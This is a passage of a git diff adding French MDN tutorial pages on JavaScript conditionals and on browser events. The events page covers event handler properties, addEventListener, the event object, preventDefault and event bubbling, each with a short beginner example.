+  ( select.value === 'black' ) ? update('black','white') : update('white','black');
+}
+
+ +

{{ EmbedLiveSample('Exemple_opérateur_ternaire', '100%', 300, "", "", "hide-codepen-jsfiddle") }}

+ +

Nous mettons un élément {{htmlelement('select')}} pour choisir un thème (noir ou blanc), plus un simple élément {{htmlelement('h1')}} pour afficher un titre de site web. Nous avons aussi une fonction update(), qui prend deux couleurs en paramètre (entrées). La couleur de fond du site est déterminée par la couleur indiquée dans le premier paramètre fourni, et la couleur du texte par le deuxième.

+ +

Nous avons également mis un écouteur d'événement onchange qui sert à exécuter une fonction contenant un opérateur ternaire. Il débute par un test de condition — select.value === 'black'. Si le test renvoie true, nous exécutons la fonction update() avec les paramètres blanc et noir : cela signifie que le fond sera noir et le texte blanc. S'il renvoie false, nous exécutons update() avec les paramètres noir et blanc, les couleurs du site seront inversées.

+ +
+

Note : Vous trouverez également cet exemple sur GitHub (voyez‑le en cours d'exécution ici aussi.)

+
+ +

Apprentissage actif : un calendrier simple

+ +

Dans cet exemple nous allons vous aider à finaliser une application de calendrier simple. Dans le code, vous avez :

+ +
    +
  • Un élément {{htmlelement("select")}} permettant à l'utilisateur de choisir un mois.
    • +
  • Un pilote d'événement onchange pour détecter si la valeur choisie dans le menu <select> a été modifiée.
    • +
  • Une fonction createCalendar() qui trace le calendrier et affiche le mois voulu dans l'élément {{htmlelement("h1")}}.
    • +
+ +

Vous aurez besoin d'écrire une instruction conditionnelle dans la fonction onchange, juste au dessous du commentaire // AJOUTER LA CONDITION ICI. Elle doit :

+ +
    +
  1. Noter le mois choisi (enregistré dans la variable choice. Ce doit être la valeur de l'élément <select> après un changement, "Janvier" par exemple).
    2. +
  2. Faire en sorte que la variable nommée days soit égale au nombre de jours du mois sélectionné. Pour ce faire, examinez le nombre de jours dans chaque mois de l'année. Vous pouvez ignorer les années bissextiles pour les besoins de cet exemple.
    3. +
+ +

Conseils :

+ +
    +
  • Utilisez un OR logique pour grouper plusieurs mois ensemble dans une même condition, beaucoup d'entre eux ont le même nombre de jours.
    • +
  • Voyez quel est le nombre de jours le plus courant et utilisez le comme valeur par défaut.
    • +
+ +

Si vous faites une erreur, vous pouvez toujours réinitialiser l'exemple avec le bouton "Réinitialiser". Si vous êtes vraiment bloqué, pressez "Voir la solution".

+ + + +

{{ EmbedLiveSample('Playable_code', '100%', 1110, "", "", "hide-codepen-jsfiddle") }}

+ +

Activité : plus de choix de couleurs !

+ +

Nous allons reprendre l'exemple de l'opérateur ternaire vu plus haut et transformer cet opérateur ternaire en une directive switch  qui nous permettra une plus grande variété de choix pour le site web tout simple. Voyez l'élément {{htmlelement("select")}} — cette fois, il n'y a pas deux options de thème, mais cinq. Il vous faut ajouter une directive switch au dessous du commentaire  // AJOUT D'UNE DIRECTIVE SWITCH :

+ +
    +
  • Elle doit accepter la variable choice comme expression d'entrée.
    • +
  • Pour chaque cas, le choix doit être égal à une des valeurs possibles pouvant être choisies, c'est-à-dire blanc, noir, mauve, jaune ou psychédélique.
    • +
  • Chaque cas exécutera la fonction update() à laquelle deux valeurs de couleurs seront passées, la première pour le fond, la seconde pour le texte. Souvenez vous que les valeurs de couleurs sont des chaînes ; elle doivent donc être mises entre guillemets.
    • +
+ +

Si vous faites une erreur, vous pouvez toujours réinitialiser l'exemple avec le bouton « Réinitialiser ». Si vous êtes vraiment bloqué, pressez « Voir la solution ».

+ + + +

{{ EmbedLiveSample('Playable_code_2', '100%', 850) }}

+ +

Conclusion

+ +

C'est tout ce qu'il est nécessaire de connaître à propos des structures conditionnelles en JavaScript pour le moment ! Je pense que vous avez assurément compris ces concepts et travaillé les exemples aisément ; s'il y a quelque chose que vous n'avez pas compris, relisez cet article à nouveau, ou bien contactez‑nous pour une aide.

+ +

Voir aussi

+ + + +

{{NextMenu("Apprendre/JavaScript/Building_blocks/Looping_code", "Apprendre/JavaScript/Building_blocks")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/javascript/building_blocks/events/index.html b/files/fr/learn/javascript/building_blocks/events/index.html new file mode 100644 index 0000000000..10f0118ecf --- /dev/null +++ b/files/fr/learn/javascript/building_blocks/events/index.html @@ -0,0 +1,585 @@ +--- +title: Introduction aux évènements +slug: Apprendre/JavaScript/Building_blocks/Evènements +tags: + - Article + - Codage + - Débutant + - Evènement + - Gestionnaire d'événement + - Guide + - JavaScript +translation_of: Learn/JavaScript/Building_blocks/Events +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}}
+ +

Les événements sont des actions ou des occurrences qui se produisent dans le système que vous programmez et dont le système vous informe afin que vous puissiez y répondre d'une manière ou d'une autre si vous le souhaitez. Par exemple, si l'utilisateur clique sur un bouton d'une page Web, vous pouvez répondre à cette action en affichant une boîte d'information. Dans cet article, nous allons discuter de quelques concepts importants concernant les événements, et regarder comment ils fonctionnent dans les navigateurs. Ce ne sera pas une étude exhaustive; mais seulement ce que vous devez savoir à ce stade.

+ + + + + + + + + + + + +
Prérequis:Connaissances de base en informatique, une compréhension de base de HTML et CSS, Premiers pas en JavaScript.
Objectif:Comprendre la théorie fondamentale des événements, comment ils fonctionnent dans les navigateurs et comment les événements peuvent différer dans différents environnements de programmation.
+ +

Une série d'événements heureux

+ +

Comme mentionné ci-dessus, les événements sont des actions ou des occurrences qui se produisent dans le système que vous programmez — le système déclenche un signal quelconque lorsqu'un événement se produit, et fournit également un mécanisme par lequel une  action est exécutée automatiquement (p.ex. un code en cours d'exécution) lorsque l'événement se produit. Par exemple, dans un aéroport, lorsque la piste est libre pour qu'un avion décolle, un signal est communiqué au pilote et, par conséquent, il commence à piloter l'avion.

+ +

+ +

Dans le cas du Web, les événements sont déclenchés à l'intérieur de la fenêtre du navigateur et tendent à être rattachés à un élément spécifique qui s'y trouve - il peut s'agir d'un élément unique, d'un ensemble d'éléments, du document HTML chargé dans l'onglet en cours ou toute la fenêtre du navigateur. Il y a beaucoup de types différents d'événements qui peuvent se produire, par exemple :

+ +
    +
  • L'utilisateur clique avec la souris sur un certain élément ou en place le curseur sur un certain élément.
    • +
  • L'utilisateur appuie sur une touche du clavier.     
    • +
  • L'utilisateur redimensionne ou ferme la fenêtre du navigateur.     
    • +
  • Une page web finissant de se charger.     
    • +
  • Un formulaire en cours de soumission    
    • +
  • Une vidéo en cours de lecture, en pause ou en fin de lecture.    
    • +
  • Une erreur qui survient.
    • +
+ +

Vous vous en rendrez compte (notamment en jetant un coup d'œil à la section MDN Référence des événements ), il y a beaucoup d'événements auxquels vous pouvez répondre.
+
+ Chaque événement disponible a un gestionnaire d'événement, qui est un bloc de code (généralement une fonction JavaScript définie par l'utilisateur) qui sera exécuté lorsque l'événement se déclenchera. Lorsqu'un tel bloc de code est défini pour être exécuté en réponse à un déclenchement d'événement, nous disons que nous enregistrons un gestionnaire d'événements. Notez que les gestionnaires d'événements sont parfois appelés écouteurs d'événements - ils sont à peu près interchangeables pour ce qui nous concerne, même si à la rigueur, ils fonctionnent ensemble. L'écouteur écoute l'événement qui se produit et le gestionnaire est le code qui est exécuté en réponse à ce qui se passe.

+ +
+

Note: il est important de noter que les événements web ne font pas partie du langage du noyau JavaScript — ils sont définis comme faisant partie des APIs JavaScript intégrées du navigateur

+
+ +

Un exemple simple

+ +

Regardons un exemple simple pour expliquer ce que nous entendons ici. Vous avez déjà utilisé des événements et des gestionnaires d'événements dans de nombreux exemples de ce cours, mais récapitulons simplement pour consolider nos connaissances. Dans l'exemple suivant, nous avons un {{htmlelement ("bouton")}} unique, qui, lorsqu'il est pressé, fera passer l'arrière-plan à une couleur aléatoire:

+ +
<button>Change color</button>
+ + + +

Le JavaScript ressemblera à ça :

+ +
var btn = document.querySelector('button');
+
+function random(number) {
+  return Math.floor(Math.random()*(number+1));
+}
+
+btn.onclick = function() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  document.body.style.backgroundColor = rndCol;
+}
+ +

 

+ +

Dans ce code, nous stockons une référence au bouton dans une variable appelée btn, en utilisant la fonction {{domxref ("Document.querySelector ()")}}. Nous définissons également une fonction qui renvoie un nombre aléatoire. La troisième partie du code est le gestionnaire d'événement. La variable btn pointe sur un élément <button> , et ce type d'objet a un certain nombre d'événements qui peuvent être déclenchés, et par conséquent, des gestionnaires d'événements sont disponibles. Nous sommes à l'écoute du déclenchement de l'événement click, en définissant la propriété onclick   du gestionnaire d'événements comme une fonction anonyme contenant du code qui génère une couleur RVB aléatoire et lui affecte la couleur d'arrière-plan <body> .
+
+ Ce code sera maintenant exécuté chaque fois que l'événement "click" se déclenchera sur l'élément <button>, c'est-à-dire chaque fois qu'un utilisateur cliquera dessus.

+ +

Vous pourrez voir cet exemple s'afficher sur toute la page en cliquant sur ce lien.

+ +

 

+ +

Ce ne sont pas que des pages web

+ +

Une autre chose qui mérite d'être mentionnée à ce stade est que les événements ne sont pas particuliers à JavaScript - la plupart des langages de programmation ont un certain type de modèle d'événement, et la façon dont cela fonctionne diffère souvent de celle de JavaScript. En fait, le modèle d'événement en JavaScript pour les pages Web diffère du modèle d'événement pour JavaScript tel qu'il est utilisé dans d'autres environnements.

+ +

Par exemple, Node.js est un runtime JavaScript très populaire qui permet aux développeurs d'utiliser JavaScript pour créer des applications réseau et serveur. Le modèle Node.js event model s'appuie sur des écouteurs pour écouter les événements et des émetteurs pour générer des événements périodiquement — bien qu'il ne le semble pas à première vue, le code est très différent, en particulier lorsqu'il utilise des fonctions comme on() pour enregistrer un écouteur d'événement, et once() pour enregistrer un écouteur d'événement qui s'efface après sa première exécution. le document HTTP connect event docs propose un bon exemple d'utilisation.

+ +

Comme autre exemple, vous pouvez désormais utiliser JavaScript pour créer des extensions inter-navigateurs — comme améliorations de la fonctionnalité du navigateur — à l'aide d'une technologie appelée WebExtensions. Le modèle d'événement est similaire au modèle d'événements Web, mais un peu différent — les écouteurs d'événements sont sensibles à la casse (p.ex.onMessage plutôt que onmessage), et doivent êtres combinés à la fonction addListener. Jetez un oeil à la page runtime.onMessage page pour voir un exemple.

+ +

Vous n'avez pas besoin de comprendre quoi que ce soit à propos d'autres environnements de ce type à ce stade de votre apprentissage; nous voulions juste préciser que les événements peuvent différer selon les environnements de programmation.

+ +

De quelle manière utiliser les événements Web ?

+ +

Il existe plusieurs façons d'ajouter un code d'écouteur d'événement aux pages Web afin qu'il soit exécuté lorsque l'événement associé se déclenche. Dans cette section, nous allons passer en revue les différents mécanismes et discuter de ceux que vous devriez utiliser.

+ +

Les propriétés du gestionnaire d'événement

+ +

Voici les propriétés qui existent pour contenir le code du gestionnaire d'événement que nous avons vu le plus fréquemment pendant le cours. Revenons à l'exemple ci-dessus :

+ +
var btn = document.querySelector('button');
+
+btn.onclick = function() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  document.body.style.backgroundColor = rndCol;
+}
+ +

La propriété onclick est la propriété du gestionnaire d'événement utilisée dans cette situation. C'est essentiellement une propriété comme les autres disponibles sur le bouton (p.ex. btn.textContent, ou btn.style), mais d'un type spécial — lorsque vous la définissez comme étant égale à du code, ce code est exécuté lorsque l'événement se déclenche sur le bouton.

+ +

Vous pouvez également définir la propriété du gestionnaire d'événement comme étant égale au nom d'une fonction définie (comme nous l'avons vu dans Construire votre propre fonction). Le code suivant fonctionnera tout pareil:

+ +
var btn = document.querySelector('button');
+
+function bgChange() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  document.body.style.backgroundColor = rndCol;
+}
+
+btn.onclick = bgChange;
+ +

De nombreuses propriétés de gestionnaire d'événement sont disponibles. Faisons une expérience.

+ +

Tout d'abord, faites une copie locale de random-color-eventhandlerproperty.html, et ouvrez-le dans votre navigateur. C'est juste une copie de l'exemple simple de couleur aléatoire avec lequel nous avons déjà joué dans cet article. Maintenant, changez btn.onclick pour lui attribuer, tour à tour, les différentes valeurs qui suivent, et observez le résultat:

+ +
    +
  • btn.onfocus et btn.onblur — La couleur change lorsque le bouton est net ou grisé (essayez d'appuyer sur la touche Tab pour l'activer et l'éteindre à nouveau). Ceux-ci sont souvent utilisés pour afficher des informations sur la façon de remplir les champs de formulaire lorsqu'ils sont sélectionnés, ou afficher un message d'erreur si un champ de formulaire vient d'être rempli avec une valeur incorrecte.
    • +
  • btn.ondblclick — La couleur change seulement si l'élément est double-cliqué.
    • +
  • window.onkeypress, window.onkeydown, window.onkeyup — La couleur change si l'on appuie sur une touche du clavier. keypress se réfère à un appui normal sur la touche (bouton appuyé puis relâché), alors que keydown et keyup se réfèrent respectivement à l'appui et au relâchement sur la touche. Notez que cela ne fonctionne pas si vous essayez d'enregistrer ce gestionnaire d'événement sur le bouton lui-même - nous avons dû l'enregistrer sur l'objet window, qui représente la fenêtre entière du navigateur.
    • +
  • btn.onmouseover et btn.onmouseout — La couleur changera respectivement lorsque le pointeur de la souris survolera le bouton, ou lorsque le curseur arrêtera le survol du bouton pour s'éloigner de ce dernier.
    • +
+ +

Certains événements sont très généraux et disponibles presque partout (par exemple un gestionnaire onclick peut être enregistré sur presque n'importe quel élément), alors que certains sont plus spécifiques et seulement utiles dans certaines situations (par exemple, il est logique d'utiliser onplay seulement sur des éléments spécifiques, comme des {{htmlelement("video")}}).

+ +

Les gestionnaires d'événements en ligne : ne les utilisez pas !

+ +

Vous pourriez également voir un motif comme celui-ci dans votre code:

+ +
<button onclick="bgChange()">Press me</button>
+
+ +
function bgChange() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  document.body.style.backgroundColor = rndCol;
+}
+ +
+

Note: Vous trouverez le code source complet de cet exemple sur GitHub (également le voir s'exécuter).

+
+ +

La première méthode d'enregistrement des gestionnaires d'événements trouvés sur le Web impliquait des attributs HTML du gestionnaire d'événement (c'est-à-dire les gestionnaires d'événements en ligne) comme celui présenté ci-dessus — la valeur de l'attribut est littéralement le code JavaScript que vous souhaitez exécuter lorsque l'événement survient. L'exemple ci-dessus appelle une fonction définie dans un élément {{htmlelement("script")}} sur la même page, mais vous pouvez également insérer du JavaScript directement dans l'attribut comme par exemple :

+ +
<button onclick="alert('Hello, this is my old-fashioned event handler!');">Press me</button>
+ +

Vous trouverez des équivalents d'attributs HTML pour la plupart des propriétés du gestionnaire d'événement; cependant, vous ne devriez pas les utiliser — ils sont considérés comme une mauvaise pratique. Il peut sembler facile d'utiliser un attribut de gestionnaire d'événement si vous voulez avancer rapidement, mais ils deviennent rapidement ingérables et inefficaces.
+
+ Pour commencer, ce n'est pas une bonne idée de mélanger votre HTML et votre JavaScript, car il deviennent difficile à analyser — garder votre JavaScript au même endroit est préférable; s'il se trouve dans un fichier séparé, vous pourrez l'appliquer à plusieurs documents HTML.

+ +

Même dans un fichier unique, les gestionnaires d'événement en ligne ne sont pas une bonne idée. Un bouton ça va, mais que faire si vous avez 100 boutons ? Vous devez ajouter 100 attributs au fichier; la maintenance se transformerait très vite en un cauchemar. Avec JavaScript, vous pouvez facilement ajouter une fonction de gestionnaire d'événement à tous les boutons de la page, peu importe leur nombre, en utilisant quelque chose comme ceci :

+ +
var buttons = document.querySelectorAll('button');
+
+for (var i = 0; i < buttons.length; i++) {
+  buttons[i].onclick = bgChange;
+}
+ +
+

Note: Séparer votre logique de programmation de votre contenu rend également votre site plus convivial pour les moteurs de recherche.

+
+ +

addEventListener() et removeEventListener()

+ +

Le dernier type de mécanisme d'événement est défini dans le Document Object Model (DOM) Level 2 Events , qui fournit aux navigateurs une nouvelle fonction: addEventListener(). Cela fonctionne de la même manière que les propriétés du gestionnaire d'événement, mais la syntaxe est évidemment différente. Nous pourrions réécrire notre exemple de couleur aléatoire comme ceci:

+ +
var btn = document.querySelector('button');
+
+function bgChange() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  document.body.style.backgroundColor = rndCol;
+}
+
+btn.addEventListener('click', bgChange);
+ +
+

Note: Vous trouverez le code source complet de cet exemple sur GitHub (également le voir s'exécuter).

+
+ +

Dans la fonction addEventListener() , nous spécifions deux paramètres - le nom de l'événement pour lequel nous voulons enregistrer ce gestionnaire, et le code qui comprend la fonction du gestionnaire que nous voulons exécuter en réponse. Notez qu'il est parfaitement approprié de placer tout le code dans la fonction addEventListener(), dans une fonction anonyme, comme ceci:

+ +
btn.addEventListener('click', function() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  document.body.style.backgroundColor = rndCol;
+});
+ +

Ce mécanisme a certains avantages par rapport aux mécanismes plus anciens discutés précédemment. Pour commencer, il existe une fonction réciproque, removeEventListener(), qui supprime un écouteur ajouté précédemment. Par exemple, cela supprimerait l'écouteur du premier bloc de code de cette section:

+ +
btn.removeEventListener('click', bgChange);
+ +

Ceci n'a pas beaucoup de sens pour les programmes simples et de petite taille, mais pour les programmes plus grands et plus complexes, cela peut améliorer l'efficacité, de nettoyer les anciens gestionnaires d'événements inutilisés. De plus, par exemple, cela vous permet d'avoir un même bouton qui effectue différentes actions dans des circonstances différentes - tout ce que vous avez à faire est d'ajouter / supprimer des gestionnaires d'événements convenablement.
+
+ D'autre part, vous pouvez également enregistrer plusieurs gestionnaires pour le même écouteur. Les deux gestionnaires suivants ne seraient pas appliqués:

+ +
myElement.onclick = functionA;
+myElement.onclick = functionB;
+ +

Comme la deuxième ligne remplacerait la valeur de onclick définie par le premier. Cependant, ceci fonctionnerait:

+ +
myElement.addEventListener('click', functionA);
+myElement.addEventListener('click', functionB);
+ +

Les deux fonctions seraient maintenant exécutées lorsque l'élément est cliqué.
+
+ En outre, il existe un certain nombre d'autres fonctionnalités et options puissantes disponibles avec ce mécanisme d'événement. Celles-ci sont un peu hors de propos pour cet article, mais si vous voulez en savoir plus sur elles, jetez un oeil aux pages de référence de  addEventListener() et removeEventListener().

+ +

Quel mécanisme devrais-je utiliser ?

+ +

Parmi les trois mécanismes, vous ne devriez certainement pas utiliser les attributs du gestionnaire d'événement HTML - ceux-ci sont obsolètes et constituent une mauvaise pratique, comme mentionné ci-dessus.
+
+ Les deux autres sont relativement interchangeables, au moins pour des utilisations simples:
+  

+ +
    +
  •      Les propriétés du gestionnaire d'événement ont moins de puissance et d'options, mais une meilleure compatibilité entre les navigateurs (prise en charge depuis Internet Explorer 8). Vous devriez probablement commencer par ceux-ci pendant votre apprentissage.
    • +
  •      Les événements du DOM Niveau 2 (addEventListener(), etc.) sont plus puissants, mais peuvent aussi devenir plus complexes et moins bien supportés (supportés depuis Internet Explorer 9). Vous devriez également vous entraîner avec, et tenter de les utiliser si possible.
    • +
+ +

Les principaux avantages du troisième mécanisme : vous pouvez supprimer le code du gestionnaire d'événement si nécessaire en utilisant removeEventListener(), et vous pouvez ajouter plusieurs écouteurs du même type aux éléments si nécessaire. Par exemple, vous pouvez appeler addEventListener('click', function() { ... }) sur un élément plusieurs fois, avec différentes fonctions spécifiées dans le deuxième argument. Cela est impossible avec les propriétés du gestionnaire d'événement car toute tentative ultérieure de définition d'une propriété remplacera les propriétés précédentes, par exemple:

+ +
element.onclick = function1;
+element.onclick = function2;
+etc.
+ +
+

Note: Si vous êtes appelé à prendre en charge des navigateurs plus anciens qu'Internet Explorer 8 dans votre travail, vous risquez de rencontrer des difficultés, car ces anciens navigateurs utilisent des modèles d'événements différents des nouveaux navigateurs. Mais n'ayez crainte, la plupart des bibliothèques JavaScript (par exemple jQuery) ont des fonctions intégrées qui permettent d'éliminer les différences entre navigateurs. Ne vous en faites pas trop à ce stade de votre parcours d'apprentissage.

+
+ +

D'autres concepts liés aux événements

+ +

Dans cette section, nous aborderons brièvement quelques concepts avancés relatifs aux événements. Il n'est pas important de les comprendre entièrement à ce stade, mais cela pourra servir à expliquer certains modèles de code que vous rencontrerez probablement de temps en temps.

+ +

L'objet événement

+ +

Parfois, dans une fonction de gestionnaire d'événement, vous pouvez voir un paramètre spécifié avec un nom tel que event, evt, ou simplement e . C'est ce qu'on appelle l'objet événement, qui est automatiquement transmis aux gestionnaires d'événements pour fournir des fonctionnalités et des informations supplémentaires. Par exemple, réécrivons légèrement notre exemple de couleur aléatoire:

+ +
function bgChange(e) {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  e.target.style.backgroundColor = rndCol;
+  console.log(e);
+}
+
+btn.addEventListener('click', bgChange);
+ +
+

Note: Vous trouverez le code source complet de cet exemple sur GitHub (également le voir s'exécuter).

+
+ +

Ici, vous pouvez voir que nous incluons un objet événement, e, dans la fonction, et dans la fonction définissant un style de couleur d'arrière-plan sur e.target - qui est le bouton lui-même. La propriété target de l'objet événement est toujours une référence à l'élément sur lequel l'événement vient de se produire. Donc, dans cet exemple, nous définissons une couleur d'arrière-plan aléatoire sur le bouton, pas sur la page.

+ +
+

Note: Vous pouvez utiliser n'importe quel nom pour l'objet d'événement - il vous suffit de choisir un nom que vous pouvez ensuite utiliser pour le référencer dans la fonction du gestionnaire d'événements. e/evt/event sont les plus couramment utilisés par les développeurs car ils sont courts et faciles à retenir. C'est toujours bon de s'en tenir à une norme.

+
+ +

e.targetest incroyablement utile lorsque vous voulez définir le même gestionnaire d'événements sur plusieurs éléments et affecter une action à chacun d'entre eux quand un événement se produit sur eux. Vous pourriez, par exemple, avoir un ensemble de 16 tuiles qui disparaissent quand on clique dessus. Il est utile de toujours pouvoir affecter une action à  e.target, plutôt que de devoir la sélectionner de manière plus difficile. Dans l'exemple suivant (voir useful-eventtarget.html pour le code source ; et ici pour le voir s'exécuter), nous avons créé 16 éléments {{htmlelement("div")}} avec JavaScript. Quand nous les sélectionnons tous en utilisant {{domxref("document.querySelectorAll()")}}, puis que nous faisons une boucle sur chacun d'eux, en ajoutant un gestionnaire onclick à chacun de sorte qu'une couleur aléatoire est appliquée lorsque l'élément est cliqué:

+ +
var divs = document.querySelectorAll('div');
+
+for (var i = 0; i < divs.length; i++) {
+  divs[i].onclick = function(e) {
+    e.target.style.backgroundColor = bgChange();
+  }
+}
+ +

Le résultat est le suivant (essayez de cliquer dessus - amusez-vous):

+ + + +

{{ EmbedLiveSample('Hidden_example', '100%', 400, "", "", "hide-codepen-jsfiddle") }}

+ +

La plupart des gestionnaires d'événements que vous rencontrerez ne disposent que d'un ensemble standard de propriétés et de fonctions (méthodes) disponibles sur l'objet événement (voir la liste complète sur {{domxref("Event")}} ). Cependant, certains gestionnaires plus avancés ajoutent des propriétés spécialisées contenant des données supplémentaires dont ils ont besoin pour fonctionner. Le Media Recorder API, par exemple, a un événement dataavailable , qui se déclenche quand un fichier audio ou vidéo a été enregistré et est disponible pour être utilisé (par exemple, pour l'enregistrer ou le lire). L'objet événement du gestionnaire ondataavailable correspondant dispose d'une propriété data contenant les données audio ou vidéo enregistrées pour vous permettre d'y accéder et de l'utiliser.

+ +

Éviter le comportement par défaut

+ +

Parfois, vous rencontrerez une situation où vous voudrez arrêter un événement qui adopte son comportement par défaut. L'exemple le plus courant est celui d'un formulaire Web, par exemple un formulaire d'inscription personnalisé. Lorsque vous remplissez les détails et appuyez sur le bouton "Soumettre", le comportement naturel consiste à soumettre les données à une page spécifiée sur le serveur pour traitement, et le navigateur redirige vers une page de "message de réussite" quelconque (ou la même page, si une autre n'est pas spécifiée.).
+
+ Le problème survient lorsque l'utilisateur n'a pas soumis les données correctement. En tant que développeur, vous devez arrêter la soumission au serveur et lui envoyer un message d'erreur indiquant ce qui ne va pas et ce qui doit être fait pour corriger les erreurs. Certains navigateurs prennent en charge les fonctions de validation automatique des données de formulaire, mais comme beaucoup ne le font pas, il est conseillé de ne pas vous y fier et d'implémenter vos propres contrôles de validation. Regardons un exemple simple.
+
+ Tout d'abord, un simple formulaire HTML qui vous oblige à entrer votre nom et votre prénom:

+ +
<form>
+  <div>
+    <label for="fname">First name: </label>
+    <input id="fname" type="text">
+  </div>
+  <div>
+    <label for="lname">Last name: </label>
+    <input id="lname" type="text">
+  </div>
+  <div>
+     <input id="submit" type="submit">
+  </div>
+</form>
+<p></p>
+ + + +

Maintenant un peu de JavaScript - ici nous implémentons une vérification très simple dans un gestionnaire d'événement onsubmit (l'événement submit est renvoyé sur un formulaire quand il est soumis) qui vérifie si les champs de texte sont vides. Si c'est le cas, nous appelons la fonction preventDefault() sur l'objet événement - ce qui stoppe la soumission du formulaire - puis nous affichons un message d'erreur dans le paragraphe sous notre formulaire pour indiquer à l'utilisateur ce qui ne va pas :

+ +
var form = document.querySelector('form');
+var fname = document.getElementById('fname');
+var lname = document.getElementById('lname');
+var submit = document.getElementById('submit');
+var para = document.querySelector('p');
+
+form.onsubmit = function(e) {
+  if (fname.value === '' || lname.value === '') {
+    e.preventDefault();
+    para.textContent = 'You need to fill in both names!';
+  }
+}
+ +

Évidemment, cette validation est assez faible - cela n'empêcherait pas l'utilisateur de valider le formulaire avec des espaces ou des nombres entrés dans les champs, par exemple - mais cela est acceptable. Le résultat est le suivant :

+ +

{{ EmbedLiveSample('Preventing_default_behavior', '100%', 140, "", "", "hide-codepen-jsfiddle") }}

+ +
+

Note: pour le code source, voir preventdefault-validation.html (et le voir s'exécuter ici.)

+
+ +

Le bouillonnement et la capture

+ +

Le dernier sujet à aborder ici est quelque chose que vous ne rencontrerez pas souvent, mais cela peut être une vraie difficulté si vous ne le comprenez pas. Le bouillonnement et la capture d'événements sont deux mécanismes qui décrivent ce qui se passe lorsque deux gestionnaires du même type d'événement sont activés sur un même élément. Regardons un exemple pour faciliter cela - ouvrez l'exemple show-video-box.html dans un nouvel onglet (et le code source dans un autre). C'est également disponible en live ci-dessous.

+ + + +

{{ EmbedLiveSample('Hidden_video_example', '100%', 500, "", "", "hide-codepen-jsfiddle") }}

+ +

Ceci est un exemple assez simple qui montre et cache une balise {{htmlelement("div")}} avec une balise {{htmlelement("video")}} à l'intérieur:

+ +
<button>Display video</button>
+
+<div class="hidden">
+  <video>
+    <source src="rabbit320.mp4" type="video/mp4">
+    <source src="rabbit320.webm" type="video/webm">
+    <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
+  </video>
+</div>
+ +

Quand le {{htmlelement("button")}} est cliqué, la vidéo est affichée, en changeant l'attribut de classe sur la balise <div> de hidden à showing ( le CSS de l'exemple contient ces deux classes, qui positionnent respectivement la boîte hors de l'écran et sur l'écran.) :

+ +
btn.onclick = function() {
+  videoBox.setAttribute('class', 'showing');
+}
+ +

Nous ajoutons ensuite quelques gestionnaires d'événements onclick supplémentaires - le premier à <div> et le second à <video>. L'idée est que lorsque l'on clique sur la zone du <div> en dehors de la vidéo, la boîte doit être masquée à nouveau; Lorsque la vidéo elle-même est cliquée, la vidéo devrait commencer à jouer.

+ +
videoBox.onclick = function() {
+  videoBox.setAttribute('class', 'hidden');
+};
+
+video.onclick = function() {
+  video.play();
+};
+ +

Mais il y a un problème - actuellement, lorsque vous cliquez sur la vidéo, elle commence à jouer, mais cela entraîne le fait que <div> est également caché en même temps. C'est parce que la vidéo est dans le <div> - elle en fait partie - alors que cliquer sur la vidéo lance les deux gestionnaires d'événements ci-dessus.

+ +

Explication du bouillonnement et de la capture

+ +

Quand un événement se déclenche sur un élément qui a des éléments parents (p.ex. l'élément {{htmlelement("video")}} dans notre cas), les navigateurs modernes utilisent deux phases différentes: la phase de capture et la phase de bouillonnement.
+
+ Dans la phase de capture:

+ +
    +
  • Le navigateur vérifie si l'ancêtre le plus éloigné de l'élément ({{htmlelement("html")}}) dispose d'un gestionnaire d'événement onclick enregistré pendant la phase de capture et le lance si c'est le cas.
    • +
  • Ensuite, il passe à l'élément suivant à l'intérieur de <html> et fait la même chose, puis la suivante, et ainsi de suite jusqu'à ce qu'il atteigne l'élément sur lequel on a cliqué.
    • +
+ +

Dans la phase de bouillonnement, l'opposé exact se produit:
+
+      Le navigateur vérifie si l'élément qui a été cliqué a un gestionnaire d'événement onclick enregistré dans la phase de bouillonnement et l'exécute si c'est le cas.
+      Ensuite, il passe à l'élément ancêtre immédiat et fait la même chose, puis le suivant, et ainsi de suite jusqu'à ce qu'il atteigne l'élément <html>.

+ +

+ +

(Cliquez sur l'image pour l'agrandir et la voir traduite en français.)

+ +

Dans les navigateurs modernes, par défaut, tous les gestionnaires d'événements sont enregistrés dans la phase de bouillonnement. Ainsi, dans notre exemple actuel, lorsque vous cliquez sur la vidéo, l'événement click fait un bouillonnement de l'élément <video> vers l'élément <html>. Comme ceci :

+ +
    +
  • Il trouve d'abord le gestionnaire video.onclick... et le lance, de manière à ce que la vidéo soit jouée en premier.
    • +
  • Ensuite il trouve le gestionnaire videoBox.onclick... et le lance, de sorte que la vidéo est cachée.
    • +
+ +

Régler le problème avec stopPropagation()

+ +

C'est un comportement ennuyeux, mais il y a un moyen de l'éviter ! L'objet événement standard dispose d'une fonction appelée stopPropagation(), qui, lorsqu'il est invoqué sur l'objet événement d'un gestionnaire, fait en sorte que le gestionnaire soit exécuté, mais l'événement ne remonte pas plus haut dans la chaîne, et donc plus aucun autre gestionnaire ne sera exécuté.
+
+ Nous pouvons donc résoudre notre problème actuel en changeant la fonction du deuxième gestionnaire dans le bloc de code précédent comme ceci:

+ +
video.onclick = function(e) {
+  e.stopPropagation();
+  video.play();
+};
+ +

Vous pouvez faire une copie locale du code source show-video-box.html et le modifier vous-même ou regarder le résultat ici :  show-video-box-fixed.html (ou voir le code source).

+ +
+

